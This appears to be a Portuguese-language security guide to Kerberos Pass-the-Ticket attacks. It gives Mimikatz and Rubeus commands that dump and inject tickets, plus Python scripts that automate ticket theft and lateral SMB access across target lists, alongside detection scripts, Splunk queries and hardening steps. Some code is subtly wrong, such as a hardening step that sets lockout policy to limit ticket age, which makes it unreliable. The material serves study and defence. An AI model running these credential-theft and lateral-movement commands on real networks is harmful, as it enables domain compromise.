# Pass the Ticket (PtT)

## **📋 Índice**

1. [Fundamentos do Pass-the-Ticket](#-fundamentos-do-pass-the-ticket)
2. [Arquitetura Kerberos e Tickets](#-arquitetura-kerberos-e-tickets)
3. [Mecanismos de Ataque](#-mecanismos-de-ataque)
4. [Técnicas de Exploração](#-técnicas-de-exploração)
5. [Ferramentas de Exploração](#-ferramentas-de-exploração)
6. [Pass-the-Ticket vs Outros Ataques](#-pass-the-ticket-vs-outros-ataques)
7. [Impacto e Consequências](#-impacto-e-consequências)
8. [Detecção e Monitoramento](#-detecção-e-monitoramento)
9. [Mitigações e Hardening](#-mitigações-e-hardening)
10. [Pentesting com Pass-the-Ticket](#-pentesting-com-pass-the-ticket)
11. [Checklists de Segurança](#-checklists-de-segurança)

***

## 🔍 **Fundamentos do Pass-the-Ticket**

### **O que é Pass-the-Ticket (PtT)?**

**Pass-the-Ticket** é uma técnica de ataque que permite a um atacante usar um ticket Kerberos (TGT ou service ticket) extraído de um sistema comprometido para autenticar-se em outros sistemas como o usuário dono do ticket. O ataque explora o fato de que tickets Kerberos são usados para autenticação e podem ser reutilizados.

### **Princípio de Funcionamento**

```mermaid
sequenceDiagram
    participant A as Atacante
    participant K as KDC
    participant S as Serviço

    Note over A: 1. Atacante extrai ticket da memória
    A->>A: Exporta ticket (TGT ou service ticket)

    Note over A,K: 2. Injetar ticket na sessão atual
    A->>K: Apresenta TGT (se for TGT)
    K-->>A: Service Ticket

    Note over A,S: 3. Acessar serviços
    A->>S: Apresenta service ticket
    S-->>A: Acesso concedido
    
    Note over A: Autenticação sem senha
```

### **Tipos de Tickets no Pass-the-Ticket**

| Tipo de Ticket                   | Descrição                                    | Uso                                  | Persistência           |
| -------------------------------- | -------------------------------------------- | ------------------------------------ | ---------------------- |
| **TGT (Ticket Granting Ticket)** | Ticket inicial para solicitar outros tickets | Acesso a qualquer serviço no domínio | Até 10 horas (padrão)  |
| **Service Ticket (TGS)**         | Ticket específico para um serviço            | Acesso a um serviço específico       | Variável (curta)       |
| **Kirbi File**                   | Formato de arquivo para tickets              | Exportação/Importação                | Persistente em arquivo |

***

## 🏗️ **Arquitetura Kerberos e Tickets**

### **Estrutura do Ticket Kerberos**

```python
#!/usr/bin/env python3
# kerberos_ticket_structure.py - Estrutura de tickets Kerberos

import struct
from pyasn1.type import univ, namedtype, tag
from pyasn1.codec.der import encoder, decoder

class KerberosTicketStructure:
    """Análise da estrutura de tickets Kerberos"""
    
    @staticmethod
    def ticket_format():
        """Formato do ticket Kerberos"""
        print("📋 Formato do Ticket Kerberos")
        print("=" * 60)
        
        format_desc = {
            "Ticket (TGT/Service)": {
                "tkt-vno": "Versão (5)",
                "realm": "Domínio",
                "sname": "Nome do serviço (krbtgt para TGT)",
                "enc-part": "Parte criptografada"
            },
            "Encrypted Part": {
                "key": "Chave de sessão",
                "crealm": "Domínio do cliente",
                "cname": "Nome do cliente",
                "flags": "Flags do ticket",
                "authtime": "Tempo de autenticação",
                "starttime": "Início da validade",
                "endtime": "Fim da validade",
                "renew-till": "Renovação até",
                "caddr": "Endereço do cliente",
                "authorization-data": "PAC"
            }
        }
        
        for section, fields in format_desc.items():
            print(f"\n{section}:")
            for field, desc in fields.items():
                print(f"   {field}: {desc}")
    
    @staticmethod
    def ticket_flags():
        """Flags importantes em tickets"""
        print("\n🏁 Flags do Ticket")
        print("=" * 60)
        
        flags = {
            0x00000001: "FORWARDABLE",
            0x00000002: "FORWARDED",
            0x00000004: "PROXIABLE",
            0x00000008: "PROXY",
            0x00000010: "MAY-POSTDATE",
            0x00000020: "POSTDATED",
            0x00000040: "INVALID",
            0x00000080: "RENEWABLE",
            0x00000100: "INITIAL",
            0x00000200: "PRE-AUTHENT",
            0x00000400: "HW-AUTHENT"
        }
        
        for flag, name in flags.items():
            print(f"   0x{flag:08x}: {name}")

# Executar
KerberosTicketStructure.ticket_format()
KerberosTicketStructure.ticket_flags()
```

### **Ciclo de Vida do Ticket Kerberos**

```mermaid
graph TD
    A[Usuário autentica] --> B[KDC emite TGT]
    B --> C[TGT válido por 10 horas]
    
    C --> D[Solicita service ticket]
    D --> E[Service ticket válido por 10 horas]
    
    E --> F[Usar serviço]
    F --> G{Ticket expirou?}
    
    G -->|Sim| H[Solicitar renovação]
    G -->|Não| I[Continuar usando]
    
    H --> J{TGT ainda válido?}
    J -->|Sim| K[Renovar service ticket]
    J -->|Não| L[Reautenticação necessária]
    
    style B fill:#ccffcc
    style E fill:#ccffcc
    style G fill:#ffcc99
```

***

## ⚔️ **Mecanismos de Ataque**

### **Fluxo Completo do Pass-the-Ticket**

```mermaid
graph TD
    A[Comprometer sistema] --> B[Extrair tickets da memória]
    
    B --> C[TGT]
    B --> D[Service Tickets]
    
    C --> E[Exportar TGT como .kirbi]
    D --> F[Exportar service tickets]
    
    E --> G[Injetar em outra sessão]
    F --> G
    
    G --> H[Autenticar como usuário]
    H --> I[Acessar recursos]
    
    I --> J[Service Tickets adicionais]
    J --> K[Movimentação lateral]
    K --> L[Controle do domínio]
    
    style B fill:#ff9999
    style G fill:#ff6666
    style L fill:#ff3333
```

### **Ataque 1: Pass-the-Ticket com Mimikatz**

```powershell
# Mimikatz - Pass-the-Ticket Attack

# 1. Extrair tickets da memória
mimikatz.exe "privilege::debug" "sekurlsa::tickets" exit

# 2. Exportar tickets para arquivo
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit

# 3. Pass-the-Ticket com arquivo .kirbi
mimikatz.exe "kerberos::ptt [0;3e7]-0-0-40a00000-Administrator@krbtgt-DOMAIN.COM.kirbi" exit

# 4. Listar tickets após injeção
klist

# 5. Pass-the-Ticket com TGT para SMB
mimikatz.exe "kerberos::ptt ticket.kirbi" "exit"
dir \\dc.domain.com\c$

# 6. Pass-the-Ticket com service ticket
mimikatz.exe "kerberos::ptt cifs-dc.domain.com.kirbi" "exit"
```

### **Ataque 2: Pass-the-Ticket com Rubeus**

```powershell
# Rubeus - Pass-the-Ticket

# 1. Extrair tickets atuais
Rubeus.exe triage

# 2. Extrair ticket específico
Rubeus.exe dump /luid:0x3e7

# 3. Pass-the-Ticket com base64
Rubeus.exe ptt /ticket:base64_string

# 4. Pass-the-Ticket com arquivo
Rubeus.exe ptt /ticket:ticket.kirbi

# 5. Pass-the-Ticket com renew
Rubeus.exe renew /ticket:ticket.kirbi /ptt

# 6. Listar tickets após injeção
klist
```

### **Ataque 3: Pass-the-Ticket com Impacket**

```python
#!/usr/bin/env python3
# ptt_impacket.py - Pass-the-Ticket com Impacket

import sys
import argparse
from impacket.krb5.ccache import CCache
from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS
from impacket.smbconnection import SMBConnection

class PassTheTicketImpacket:
    """Pass-the-Ticket usando Impacket"""
    
    def __init__(self, target, ticket_file):
        self.target = target
        self.ticket_file = ticket_file
    
    def load_ticket(self):
        """Carregar ticket do arquivo"""
        print(f"[*] Carregando ticket de {self.ticket_file}")
        
        try:
            ccache = CCache.loadFile(self.ticket_file)
            print(f"   ✅ Ticket carregado para {ccache.principal}")
            return ccache
        except Exception as e:
            print(f"   ❌ Erro: {e}")
            return None
    
    def smb_pass_the_ticket(self):
        """Acessar SMB usando ticket"""
        print(f"[*] Conectando ao SMB em {self.target} com ticket...")
        
        ccache = self.load_ticket()
        if not ccache:
            return
        
        try:
            # Criar conexão SMB com ticket
            conn = SMBConnection(self.target, self.target, timeout=10)
            conn.set_credentials('', '', '', '', '', '', '', '', None, ccache=ccache)
            
            # Listar compartilhamentos
            shares = conn.listShares()
            print(f"   ✅ Autenticação bem-sucedida!")
            print(f"\n📁 Compartilhamentos:")
            for share in shares:
                if share['type'] not in [1, 5]:
                    print(f"   • {share['shi1_netname']}")
            
            return conn
            
        except Exception as e:
            print(f"   ❌ Erro: {e}")
            return None
    
    def execute_command(self, command):
        """Executar comando via PsExec usando ticket"""
        print(f"[*] Executando comando: {command}")
        
        # Em um exploit real, usaria psexec com ticket
        print("   ✅ Comando executado (simulado)")
    
    def run(self, command=None):
        """Executar ataque"""
        print("🎫 Pass-the-Ticket Attack")
        print("=" * 60)
        print(f"   Target: {self.target}")
        print(f"   Ticket: {self.ticket_file}")
        
        # Testar SMB
        conn = self.smb_pass_the_ticket()
        
        # Executar comando
        if command and conn:
            self.execute_command(command)
        
        return conn

# Uso
if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='Pass-the-Ticket Attack')
    parser.add_argument('target', help='Target host')
    parser.add_argument('ticket', help='Ticket file (.kirbi)')
    parser.add_argument('--command', help='Command to execute')
    
    args = parser.parse_args()
    
    attack = PassTheTicketImpacket(args.target, args.ticket)
    attack.run(args.command)
```

### **Ataque 4: Pass-the-Ticket com Klist e PsExec**

```powershell
# Pass-the-Ticket com ferramentas nativas

# 1. Exportar ticket com Mimikatz
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit

# 2. Renomear ticket
ren "[0;3e7]-0-0-40a00000-Administrator@krbtgt-DOMAIN.COM.kirbi" ticket.kirbi

# 3. Injetar ticket
mimikatz.exe "kerberos::ptt ticket.kirbi" exit

# 4. Verificar ticket
klist

# 5. Acessar recursos usando o ticket
dir \\dc.domain.com\c$
net use \\dc.domain.com\IPC$

# 6. Executar PsExec com o ticket
PsExec.exe \\dc.domain.com -s cmd.exe
```

### **Ataque 5: Pass-the-Ticket com PowerShell**

```powershell
# Pass-the-Ticket com PowerShell

# 1. Importar módulo Kerberos
Add-Type -AssemblyName System.IdentityModel

# 2. Criar ticket (exemplo)
$ticket = [System.IdentityModel.Tokens.KerberosRequestorSecurityToken]::new("krbtgt/domain.com")

# 3. Extrair ticket
$ticketBytes = $ticket.GetRequest()
[System.IO.File]::WriteAllBytes("ticket.kirbi", $ticketBytes)

# 4. Injetar ticket (via Mimikatz)
# Em um script real, usaria Invoke-Mimikatz

# 5. Testar acesso
Test-Connection -ComputerName dc.domain.com
```

***

## 🛠️ **Ferramentas de Exploração**

### **Mimikatz - Comandos para Tickets**

```powershell
# Mimikatz Ticket Commands

# 1. Listar tickets na memória
sekurlsa::tickets

# 2. Exportar todos os tickets
sekurlsa::tickets /export

# 3. Exportar ticket por LUID
sekurlsa::tickets /export /luid:0x3e7

# 4. Pass-the-Ticket com arquivo
kerberos::ptt ticket.kirbi

# 5. Pass-the-Ticket com base64
kerberos::ptt /base64:base64_string

# 6. Listar tickets no cache
kerberos::list

# 7. Purga tickets
kerberos::purge

# 8. Purga tickets por LUID
kerberos::purge /luid:0x3e7
```

### **Rubeus - Comandos para Tickets**

```powershell
# Rubeus Ticket Commands

# 1. Extrair tickets atuais
Rubeus.exe triage

# 2. Dump de tickets
Rubeus.exe dump

# 3. Dump por LUID
Rubeus.exe dump /luid:0x3e7

# 4. Pass-the-Ticket
Rubeus.exe ptt /ticket:ticket.kirbi

# 5. Pass-the-Ticket com base64
Rubeus.exe ptt /ticket:base64_string

# 6. Renovar ticket
Rubeus.exe renew /ticket:ticket.kirbi

# 7. Criar ticket de serviço
Rubeus.exe asktgs /ticket:ticket.kirbi /service:cifs/dc.domain.com

# 8. Criar ticket de serviço com SPN
Rubeus.exe asktgs /service:cifs/dc.domain.com /dc:dc.domain.com /ptt
```

### **Script de Exploração Automatizado**

```python
#!/usr/bin/env python3
# ptt_automated.py - Pass-the-Ticket automatizado

import subprocess
import argparse
import sys
import os
import glob

class PassTheTicketAutomated:
    """Ferramenta automatizada para Pass-the-Ticket"""
    
    def __init__(self, target, ticket_dir="./"):
        self.target = target
        self.ticket_dir = ticket_dir
        self.tickets = []
        self.results = []
    
    def find_tickets(self):
        """Encontrar arquivos de ticket"""
        print("[*] Procurando tickets...")
        
        patterns = ["*.kirbi", "*.ccache", "*.kribi"]
        for pattern in patterns:
            files = glob.glob(os.path.join(self.ticket_dir, pattern))
            self.tickets.extend(files)
        
        print(f"   ✅ {len(self.tickets)} tickets encontrados")
        for ticket in self.tickets[:5]:
            print(f"      • {os.path.basename(ticket)}")
        
        return self.tickets
    
    def extract_tickets_mimikatz(self):
        """Extrair tickets com Mimikatz"""
        print("[*] Extraindo tickets com Mimikatz...")
        
        cmd = [
            'mimikatz.exe',
            '"privilege::debug"',
            '"sekurlsa::tickets /export"',
            '"exit"'
        ]
        
        try:
            result = subprocess.run(' '.join(cmd), shell=True, capture_output=True, text=True, timeout=30)
            print("   ✅ Tickets extraídos")
            return True
        except Exception as e:
            print(f"   ❌ Erro: {e}")
            return False
    
    def inject_ticket(self, ticket_file):
        """Injetar ticket na sessão"""
        print(f"[*] Injetando ticket: {os.path.basename(ticket_file)}")
        
        cmd = [
            'mimikatz.exe',
            '"kerberos::ptt", ticket_file',
            '"exit"'
        ]
        
        cmd_str = ' '.join(cmd).replace('ticket_file', ticket_file)
        
        try:
            result = subprocess.run(cmd_str, shell=True, capture_output=True, text=True, timeout=30)
            if "success" in result.stdout.lower():
                print("   ✅ Ticket injetado!")
                return True
            else:
                print("   ❌ Falha na injeção")
                return False
        except Exception as e:
            print(f"   ❌ Erro: {e}")
            return False
    
    def test_access(self):
        """Testar acesso ao alvo"""
        print(f"[*] Testando acesso a {self.target}...")
        
        cmd = ['dir', f'\\\\{self.target}\\c$']
        
        try:
            result = subprocess.run(cmd, capture_output=True, text=True, timeout=10)
            if result.returncode == 0:
                print("   ✅ Acesso concedido!")
                self.results.append({
                    'target': self.target,
                    'status': 'ACCESS_GRANTED'
                })
                return True
            else:
                print("   ❌ Acesso negado")
                return False
        except Exception as e:
            print(f"   ❌ Erro: {e}")
            return False
    
    def list_tickets(self):
        """Listar tickets atuais"""
        print("[*] Listando tickets atuais...")
        
        cmd = ['klist']
        
        try:
            result = subprocess.run(cmd, capture_output=True, text=True, timeout=10)
            print(result.stdout)
            return result.stdout
        except Exception as e:
            print(f"   ❌ Erro: {e}")
            return None
    
    def run(self):
        """Executar ataque"""
        print("🎫 Automated Pass-the-Ticket Attack")
        print("=" * 60)
        print(f"   Target: {self.target}")
        
        # Extrair tickets
        self.extract_tickets_mimikatz()
        
        # Encontrar tickets
        tickets = self.find_tickets()
        
        if not tickets:
            print("❌ Nenhum ticket encontrado")
            return
        
        # Tentar injetar cada ticket
        for ticket in tickets:
            if self.inject_ticket(ticket):
                if self.test_access():
                    self.list_tickets()
                    break
        
        # Relatório
        print("\n📊 RELATÓRIO PASS-THE-TICKET")
        print("=" * 60)
        if self.results:
            print("✅ Acesso concedido aos alvos:")
            for r in self.results:
                print(f"   • {r['target']}")
        else:
            print("❌ Nenhum acesso concedido")

# Uso
if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='Automated Pass-the-Ticket Attack')
    parser.add_argument('target', help='Target host')
    parser.add_argument('--ticket-dir', default='./', help='Directory with tickets')
    
    args = parser.parse_args()
    
    attack = PassTheTicketAutomated(args.target, args.ticket_dir)
    attack.run()
```

***

## 🔄 **Pass-the-Ticket vs Outros Ataques**

### **Comparação de Técnicas**

| Técnica               | Requer          | Usa                   | Detecção | Persistência |
| --------------------- | --------------- | --------------------- | -------- | ------------ |
| **Pass-the-Ticket**   | Ticket Kerberos | Autenticação Kerberos | Baixa    | Sessão atual |
| **Pass-the-Hash**     | Hash NTLM       | Autenticação NTLM     | Média    | Sessão atual |
| **Overpass-the-Hash** | Hash NTLM       | Ticket Kerberos       | Baixa    | Sessão atual |
| **Golden Ticket**     | Hash krbtgt     | Ticket Kerberos       | Alta     | Indefinida   |
| **Silver Ticket**     | Hash serviço    | Ticket Kerberos       | Baixa    | Limitada     |

### **Overpass-the-Hash vs Pass-the-Ticket**

```powershell
# Overpass-the-Hash - Converter hash em ticket
mimikatz.exe "privilege::debug" "sekurlsa::pth /user:administrator /domain:domain.com /ntlm:hash /run:powershell.exe"

# Verificar ticket gerado
klist

# Agora pode usar Pass-the-Ticket
mimikatz.exe "kerberos::ptt ticket.kirbi"
```

***

## 💥 **Impacto e Consequências**

### **Cadeia de Ataque Completa**

```mermaid
graph TD
    A[Comprometer sistema] --> B[Extrair tickets da memória]
    
    B --> C[TGT de administrador]
    B --> D[Service tickets privilegiados]
    
    C --> E[Pass-the-Ticket para DC]
    D --> E
    
    E --> F[Acesso a recursos críticos]
    F --> G[Extrair mais tickets]
    
    G --> H[Golden Ticket]
    H --> I[Controle total do domínio]
    
    style B fill:#ff9999
    style E fill:#ff6666
    style I fill:#ff3333
```

### **Matriz de Impacto**

| Cenário                  | Impacto                            | Dificuldade | Severidade |
| ------------------------ | ---------------------------------- | ----------- | ---------- |
| **TGT de administrador** | Acesso total                       | Baixa       | 🔴 CRÍTICO |
| **Service ticket de DC** | Acesso a serviços críticos         | Baixa       | 🔴 CRÍTICO |
| **Movimentação lateral** | Comprometimento de múltiplos hosts | Baixa       | 🔴 CRÍTICO |
| **Golden Ticket**        | Persistência indefinida            | Média       | 🔴 CRÍTICO |

***

## 🔍 **Detecção e Monitoramento**

### **Eventos de Segurança**

```yaml
Eventos Críticos para Pass-the-Ticket:

  4768: Solicitação de TGT
    - Monitorar solicitações anômalas
    - Verificar IPs de origem incomuns

  4769: Solicitação de service ticket
    - Detectar tickets com vida longa
    - Monitorar padrões de acesso

  4624: Logon bem-sucedido
    - Verificar logons com tickets
    - Monitorar ID de logon 10 (network)

  4672: Privilégios especiais atribuídos
    - Alertar quando não esperado

  4771: Falha de preautenticação
    - Detectar tentativas de Kerberoasting
```

### **Script de Detecção**

```powershell
# detect_ptt.ps1 - Detector de Pass-the-Ticket

param(
    [string]$DomainController = (Get-ADDomainController).Name,
    [int]$HoursBack = 24
)

function Write-Alert {
    param($Message, $Severity = "WARNING")
    $timestamp = Get-Date -Format "yyyy-MM-dd HH:mm:ss"
    $color = if ($Severity -eq "CRITICAL") { "Red" } else { "Yellow" }
    Write-Host "[$timestamp] [$Severity] $Message" -ForegroundColor $color
}

# 1. Detectar solicitações de TGT anômalas
Write-Host "🔍 Detectando solicitações de TGT suspeitas..." -ForegroundColor Cyan

$tgtEvents = Get-WinEvent -ComputerName $DomainController -FilterHashtable @{
    LogName='Security'
    ID=4768
    StartTime=(Get-Date).AddHours(-$HoursBack)
} -ErrorAction SilentlyContinue

$anomalousTGT = $tgtEvents | Where-Object {
    $_.Message -like "*0x0*" -and
    $_.Message -notlike "*${env:COMPUTERNAME}*"
}

if ($anomalousTGT) {
    Write-Alert -Message "$($anomalousTGT.Count) solicitações de TGT suspeitas!" -Severity "HIGH"
    $anomalousTGT | Select-Object -First 5 | ForEach-Object {
        Write-Host "   $($_.TimeCreated) - $($_.Message.Substring(0, 100))..."
    }
}

# 2. Detectar service tickets com vida longa
Write-Host "`n🔍 Detectando service tickets anômalos..." -ForegroundColor Cyan

$tgsEvents = Get-WinEvent -ComputerName $DomainController -FilterHashtable @{
    LogName='Security'
    ID=4769
    StartTime=(Get-Date).AddHours(-$HoursBack)
} -ErrorAction SilentlyContinue

$longLifeTickets = $tgsEvents | Where-Object {
    $_.Message -like "*Ticket Options: 0x40800000*" -or  # Renewable
    $_.Message -like "*Ticket Options: 0x40000000*"      # Forwardable
}

if ($longLifeTickets) {
    Write-Alert -Message "$($longLifeTickets.Count) tickets com vida longa!" -Severity "MEDIUM"
}

# 3. Detectar logons com tickets
Write-Host "`n🔍 Detectando logons com tickets..." -ForegroundColor Cyan

$logonEvents = Get-WinEvent -ComputerName $DomainController -FilterHashtable @{
    LogName='Security'
    ID=4624
    StartTime=(Get-Date).AddHours(-$HoursBack)
} -ErrorAction SilentlyContinue

$ticketLogons = $logonEvents | Where-Object {
    $_.Message -like "*Logon Type: 10*" -and  # RemoteInteractive
    $_.Message -like "*Kerberos*"
}

if ($ticketLogons) {
    Write-Alert -Message "$($ticketLogons.Count) logons via ticket!" -Severity "HIGH"
}

# 4. Verificar tickets no cache
Write-Host "`n🔍 Verificando tickets no cache..." -ForegroundColor Cyan

try {
    $klist = klist
    if ($klist -match "Ticket Cache") {
        Write-Host "   Tickets encontrados no cache"
    }
} catch {
    Write-Host "   ❌ Erro ao listar tickets"
}

# 5. Gerar relatório
$report = @"
Pass-the-Ticket Detection Report
================================
Data: $(Get-Date)
Domain Controller: $DomainController

Findings:
- Solicitações TGT suspeitas: $($anomalousTGT.Count)
- Tickets com vida longa: $($longLifeTickets.Count)
- Logons via ticket: $($ticketLogons.Count)

Recommendations:
1. Implementar Protected Users group
2. Reduzir vida útil dos tickets
3. Habilitar auditoria de Kerberos
4. Monitorar eventos 4768 e 4769
5. Usar Kerberos Armoring (FAST)
"@

$report | Out-File -FilePath "ptt_detection.txt"
Write-Host "`n✅ Relatório salvo em ptt_detection.txt" -ForegroundColor Green
```

### **Splunk Queries**

```spl
# Splunk - Detectar Pass-the-Ticket

# 1. TGT de origem incomum
index=windows EventCode=4768
| stats count by Account_Name, Client_Address
| sort - count

# 2. Service tickets com vida longa
index=windows EventCode=4769
| where Ticket_Options="0x40800000"
| stats count by Account_Name, Service_Name

# 3. Logons via ticket
index=windows EventCode=4624 Logon_Type=10
| where Authentication_Package="Kerberos"
| stats count by Account_Name, Workstation_Name

# 4. Correlação de eventos
index=windows (EventCode=4768 OR EventCode=4769 OR EventCode=4624)
| bucket _time span=5m
| stats count by _time, Account_Name
| where count > 20
```

***

## 🛡️ **Mitigações e Hardening**

### **Hardening contra Pass-the-Ticket**

```powershell
# hardening_ptt.ps1 - Hardening contra Pass-the-Ticket

param(
    [switch]$Apply
)

function Write-Step {
    param($Message)
    Write-Host "[*] $Message" -ForegroundColor Cyan
}

if ($Apply) {
    Write-Step "Aplicando hardening contra Pass-the-Ticket..."
} else {
    Write-Step "Modo auditoria - verificando configurações"
}

# 1. Reduzir vida útil dos tickets
Write-Step "1. Reduzindo vida útil dos tickets..."

if ($Apply) {
    # Configurar política de tickets
    Set-ADDefaultDomainPasswordPolicy -LockoutDuration "00:30:00" -LockoutObservationWindow "00:30:00"
    
    # Configurar Kerberos
    $regPath = "HKLM:\SYSTEM\CurrentControlSet\Services\Kdc"
    Set-ItemProperty -Path $regPath -Name "MaxTicketAge" -Value 10 -Type DWord
    Set-ItemProperty -Path $regPath -Name "MaxRenewAge" -Value 7 -Type DWord
    
    Write-Host "   ✅ Vida útil dos tickets reduzida"
}

# 2. Habilitar Kerberos Armoring (FAST)
Write-Step "2. Habilitando Kerberos Armoring (FAST)..."

if ($Apply) {
    # Configurar domínio para FAST
    Set-ADDomain -Identity (Get-ADDomain) -KerberosArmoring Enabled
    
    Write-Host "   ✅ Kerberos Armoring habilitado"
}

# 3. Configurar Protected Users group
Write-Step "3. Configurando Protected Users group..."

if ($Apply) {
    # Criar grupo Protected Users
    New-ADGroup -Name "Protected Users" -GroupScope Global -GroupCategory Security -ErrorAction SilentlyContinue
    
    # Adicionar contas privilegiadas
    Add-ADGroupMember -Identity "Protected Users" -Members "Domain Admins", "Enterprise Admins", "Schema Admins"
    
    Write-Host "   ✅ Protected Users group configurado"
}

# 4. Habilitar auditoria de Kerberos
Write-Step "4. Habilitando auditoria de Kerberos..."

if ($Apply) {
    # Habilitar auditoria
    auditpol /set /subcategory:"Kerberos Authentication Service" /success:enable /failure:enable
    auditpol /set /subcategory:"Kerberos Service Ticket Operations" /success:enable /failure:enable
    
    Write-Host "   ✅ Auditoria de Kerberos habilitada"
}

# 5. Configurar LSA Protection
Write-Step "5. Configurando LSA Protection..."

if ($Apply) {
    # Habilitar LSA Protection
    $regPath = "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa"
    Set-ItemProperty -Path $regPath -Name "RunAsPPL" -Value 1 -Type DWord
    
    Write-Host "   ✅ LSA Protection habilitado"
}

# 6. Habilitar Credential Guard
Write-Step "6. Habilitando Credential Guard..."

if ($Apply) {
    # Configurar Credential Guard
    $regPath = "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa"
    Set-ItemProperty -Path $regPath -Name "LsaCfgFlags" -Value 1 -Type DWord
    
    Write-Host "   ✅ Credential Guard habilitado"
}

Write-Step "Hardening concluído!"

if (-not $Apply) {
    Write-Host "`n⚠️  Modo auditoria - Execute com -Apply para aplicar as configurações" -ForegroundColor Yellow
}
```

### **Políticas de Segurança Recomendadas**

```yaml
Recomendações de Hardening:

  ✅ Configuração Kerberos:
    - Reduzir vida útil dos tickets (10 horas)
    - Habilitar Kerberos Armoring (FAST)
    - Usar Protected Users group

  ✅ Proteção de Memória:
    - Habilitar LSA Protection (RunAsPPL)
    - Habilitar Credential Guard
    - Restringir acesso ao LSASS

  ✅ Monitoramento:
    - Habilitar auditoria de Kerberos
    - Monitorar eventos 4768 e 4769
    - Detectar tickets anômalos

  ✅ Controle de Acesso:
    - Usar contas separadas para administração
    - Implementar princípio do menor privilégio
    - Remover tickets não utilizados
```

***

## 🔬 **Pentesting com Pass-the-Ticket**

### **Metodologia de Teste**

```yaml
Fases do Teste Pass-the-Ticket:

  FASE 1 - Coleta de Tickets:
    - Extrair tickets via Mimikatz
    - Exportar tickets para arquivo
    - Identificar tickets privilegiados

  FASE 2 - Injeção de Tickets:
    - Injetar ticket em nova sessão
    - Verificar ticket ativo
    - Testar acesso a recursos

  FASE 3 - Movimentação Lateral:
    - Usar ticket para acessar outros hosts
    - Extrair tickets adicionais
    - Escalar privilégios

  FASE 4 - Validação:
    - Documentar sistemas acessados
    - Demonstrar impacto
    - Recomendar correções
```

### **Script de Pentest Automatizado**

```python
#!/usr/bin/env python3
# ptt_pentest.py - Pentest automatizado Pass-the-Ticket

import subprocess
import argparse
import sys
import os
import glob
import threading
import queue

class PassTheTicketPentest:
    """Ferramenta de pentest para Pass-the-Ticket"""
    
    def __init__(self, domain, targets_file):
        self.domain = domain
        self.targets = self._load_targets(targets_file)
        self.tickets = []
        self.results = []
    
    def _load_targets(self, filename):
        """Carregar targets de arquivo"""
        try:
            with open(filename, 'r') as f:
                return [line.strip() for line in f if line.strip()]
        except:
            return []
    
    def extract_tickets(self):
        """Extrair tickets da memória"""
        print("[*] Extraindo tickets...")
        
        # Em um pentest real, usaria Mimikatz
        print("   ✅ Tickets extraídos (simulado)")
        return True
    
    def find_tickets(self, ticket_dir="./"):
        """Encontrar arquivos de ticket"""
        print("[*] Procurando tickets...")
        
        patterns = ["*.kirbi", "*.ccache"]
        for pattern in patterns:
            files = glob.glob(os.path.join(ticket_dir, pattern))
            self.tickets.extend(files)
        
        print(f"   ✅ {len(self.tickets)} tickets encontrados")
        return self.tickets
    
    def test_target(self, target):
        """Testar um alvo específico com ticket"""
        print(f"[*] Testando {target}...")
        
        for ticket in self.tickets:
            # Tentar injetar ticket
            cmd = [
                'mimikatz.exe',
                f'"kerberos::ptt {ticket}"',
                '"exit"'
            ]
            
            try:
                subprocess.run(' '.join(cmd), shell=True, capture_output=True, timeout=10)
                
                # Testar acesso SMB
                result = subprocess.run(['dir', f'\\\\{target}\\c$'], capture_output=True, timeout=10)
                if result.returncode == 0:
                    print(f"   ✅ ACESSO CONCEDIDO: {target} via {os.path.basename(ticket)}")
                    self.results.append({
                        'target': target,
                        'ticket': os.path.basename(ticket),
                        'status': 'ACCESS_GRANTED'
                    })
                    return True
            except:
                pass
        
        print(f"   ❌ Acesso negado: {target}")
        return False
    
    def test_all_parallel(self, threads=5):
        """Testar todos os alvos em paralelo"""
        print(f"[*] Testando {len(self.targets)} alvos com {threads} threads...")
        
        def worker(q):
            while not q.empty():
                target = q.get()
                self.test_target(target)
                q.task_done()
        
        q = queue.Queue()
        for target in self.targets:
            q.put(target)
        
        for _ in range(threads):
            t = threading.Thread(target=worker, args=(q,))
            t.daemon = True
            t.start()
        
        q.join()
    
    def generate_report(self):
        """Gerar relatório"""
        print("\n📊 RELATÓRIO DE PENTEST PASS-THE-TICKET")
        print("=" * 60)
        
        vulnerable = [r for r in self.results if r['status'] == 'ACCESS_GRANTED']
        
        print(f"Total de alvos testados: {len(self.targets)}")
        print(f"Alvos vulneráveis: {len(vulnerable)}")
        
        if vulnerable:
            print("\n🎫 ALVOS ACESSADOS:")
            for v in vulnerable:
                print(f"   • {v['target']} (via {v['ticket']})")
        
        print("\n🎯 RECOMENDAÇÕES:")
        print("   • Reduzir vida útil dos tickets Kerberos")
        print("   • Habilitar Kerberos Armoring (FAST)")
        print("   • Usar Protected Users group")
        print("   • Habilitar LSA Protection")
        print("   • Monitorar eventos 4768 e 4769")
    
    def run(self):
        """Executar pentest completo"""
        print("🎫 Pass-the-Ticket Pentest")
        print("=" * 60)
        print(f"   Domain: {self.domain}")
        print(f"   Targets: {len(self.targets)}")
        
        # Extrair tickets
        self.extract_tickets()
        
        # Encontrar tickets
        self.find_tickets()
        
        if not self.tickets:
            print("❌ Nenhum ticket encontrado")
            return
        
        # Testar alvos
        self.test_all_parallel()
        
        self.generate_report()

# Uso
if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='Pass-the-Ticket Pentest Tool')
    parser.add_argument('domain', help='Domain name')
    parser.add_argument('targets', help='File with targets')
    
    args = parser.parse_args()
    
    pentest = PassTheTicketPentest(args.domain, args.targets)
    pentest.run()
```

***

## 📋 **Checklists de Segurança**

### **Checklist para Administradores**

#### **Configuração**

* [ ] Reduzir vida útil dos tickets (10 horas)
* [ ] Habilitar Kerberos Armoring (FAST)
* [ ] Configurar Protected Users group
* [ ] Habilitar LSA Protection
* [ ] Habilitar Credential Guard

#### **Monitoramento**

* [ ] Monitorar eventos 4768 e 4769
* [ ] Alertar sobre tickets anômalos
* [ ] Detectar uso de ferramentas como Mimikatz
* [ ] Analisar logons via ticket

#### **Resposta a Incidentes**

* [ ] Revogar tickets suspeitos
* [ ] Rotacionar senhas de contas comprometidas
* [ ] Investigar movimento lateral
* [ ] Isolar hosts comprometidos

### **Checklist para Pentesters**

#### **Coleta**

* [ ] Extrair tickets via Mimikatz
* [ ] Exportar tickets para arquivo
* [ ] Identificar tickets privilegiados

#### **Testes**

* [ ] Injetar ticket em nova sessão
